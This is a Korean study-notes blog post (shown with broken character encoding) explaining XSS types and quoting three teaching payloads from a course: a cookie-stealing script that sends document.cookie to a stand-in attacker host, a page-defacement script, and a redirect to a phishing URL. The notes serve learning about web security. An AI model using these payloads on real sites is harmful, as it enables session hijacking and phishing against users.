๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐Ÿ•ธ๏ธ ์›น ํ•ดํ‚น

Cross-Site Scripting (XSS) ๊ฐœ๋… ์ •๋ฆฌ

by ๋ถˆํƒ€๋Š” ์ฐธ์ƒˆ 2025. 3. 5.

Cross-Site Scripting (XSS)

XSS ๊ณต๊ฒฉ์€ ์ด์šฉ์ž๊ฐ€ ์‚ฝ์ž…ํ•œ ๋‚ด์šฉ์„ ์ถœ๋ ฅํ•˜๋Š” ๊ธฐ๋Šฅ์—์„œ ๋ฐœ์ƒํ•œ๋‹ค.

Stored XSS
XSS์— ์‚ฌ์šฉ๋˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋ฒ„์— ์ €์žฅ๋˜๊ณ  ์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋‹ด๊ฒจ์˜ค๋Š” XSS
Reflected XSS
XSS์— ์‚ฌ์šฉ๋˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ URL์— ์‚ฝ์ž…๋˜๊ณ  ์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋‹ด๊ฒจ์˜ค๋Š” XSS
DOM-based XSS
XSS์— ์‚ฌ์šฉ๋˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ URL Fragment์— ์‚ฝ์ž…๋˜๋Š” XSS
  • Fragment๋Š” ์„œ๋ฒ„ ์š”์ฒญ/์‘๋‹ต ์— ํฌํ•จ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
Universal XSS
ํด๋ผ์ด์–ธํŠธ์˜ ๋ธŒ๋ผ์šฐ์ € ํ˜น์€ ๋ธŒ๋ผ์šฐ์ €์˜ ํ”Œ๋Ÿฌ๊ทธ์ธ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์œผ๋กœ SOP ์ •์ฑ…์„ ์šฐํšŒํ•˜๋Š” XSS

 

์•„๋ž˜๋Š” ๋“œ๋ฆผํ•ต ClientSide: XSS ๋‚ด์šฉ ์ค‘์—์„œ ์˜ˆ์‹œ๋กœ ๋‚˜์˜จ ์„ธ ๊ฐ€์ง€ ์ฝ”๋“œ์ธ๋ฐ ๋ชฐ๋ž๋˜ ๋‚ด์šฉ์„ ์•„๋ž˜์— ๊ฐ„๋žตํžˆ ๋ฉ”๋ชจํ•ด๋’€๋‹ค. 

 

1) ์ฟ ํ‚ค ๋ฐ ์„ธ์…˜ ํƒˆ์ทจ ๊ณต๊ฒฉ ์ฝ”๋“œ

: new Image().src๋ฅผ ํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ž๋™์œผ๋กœ ์ž‘์„ฑํ•œ src๋กœ ์š”์ฒญ์„ ํ•œ๋‹ค.

<script>
// "hello" ๋ฌธ์ž์—ด alert ์‹คํ–‰.
alert("hello");
// ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค(return type: string)
document.cookie; 
// ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค๋ฅผ ์ธ์ž๋กœ ๊ฐ€์ง„ alert ์‹คํ–‰.
alert(document.cookie);
// ์ฟ ํ‚ค ์ƒ์„ฑ(key: name, value: test)
document.cookie = "name=test;";
// new Image() ๋Š” ์ด๋ฏธ์ง€๋ฅผ ์ƒ์„ฑํ•˜๋Š” ํ•จ์ˆ˜์ด๋ฉฐ, src๋Š” ์ด๋ฏธ์ง€์˜ ์ฃผ์†Œ๋ฅผ ์ง€์ •. ๊ณต๊ฒฉ์ž ์ฃผ์†Œ๋Š” http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=ํ˜„์žฌํŽ˜์ด์ง€์˜์ฟ ํ‚ค" ์ฃผ์†Œ๋ฅผ ์š”์ฒญํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์ž ์ฃผ์†Œ๋กœ ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค ์š”์ฒญํ•จ
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

 

2) ํŽ˜์ด์ง€ ๋ณ€์กฐ ๊ณต๊ฒฉ ์ฝ”๋“œ

<script>
// ์ด์šฉ์ž์˜ ํŽ˜์ด์ง€ ์ •๋ณด์— ์ ‘๊ทผ.
document;
// ์ด์šฉ์ž์˜ ํŽ˜์ด์ง€์— ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฝ์ž….
document.write("Hacked By DreamHack !");
</script>

 

3) ์œ„์น˜ ์ด๋™ ๊ณต๊ฒฉ ์ฝ”๋“œ

: location.href๋Š” ํ˜„์žฌ ๋ธŒ๋ผ์šฐ์ €์˜ URL์„ ๊ฐ€์ ธ์˜ค๊ฑฐ๋‚˜ ๋ณ€๊ฒฝํ•˜๋Š” ํ”„๋กœํผํ‹ฐ (๋ฆฌ๋””๋ ‰์…˜)

<script>
// ์ด์šฉ์ž์˜ ์œ„์น˜๋ฅผ ๋ณ€๊ฒฝ.
// ํ”ผ์‹ฑ ๊ณต๊ฒฉ ๋“ฑ์œผ๋กœ ์‚ฌ์šฉ๋จ.
location.href = "http://hacker.dreamhack.io/phishing"; 
// ์ƒˆ ์ฐฝ ์—ด๊ธฐ
window.open("http://hacker.dreamhack.io/")
</script>

 

Cross-Site Scripting (XSS)์˜ ๋‘ ๊ฐ€์ง€ ์ข…๋ฅ˜

  • Stored XSS: ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋ฒ„ ๋‚ด์— ์กด์žฌ, ์ด์šฉ์ž๊ฐ€ ์ €์žฅ๋œ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์กฐํšŒํ•  ๋•Œ ๋ฐœ์ƒ
  • Reflected XSS: ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ด์šฉ์ž ์š”์ฒญ ๋‚ด์— ์กด์žฌ, ์ด์šฉ์ž๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋œ ์š”์ฒญ์„ ๋ณด๋‚ธ ํ›„ ์‘๋‹ต์„ ์ถœ๋ ฅํ•  ๋•Œ ๋ฐœ์ƒ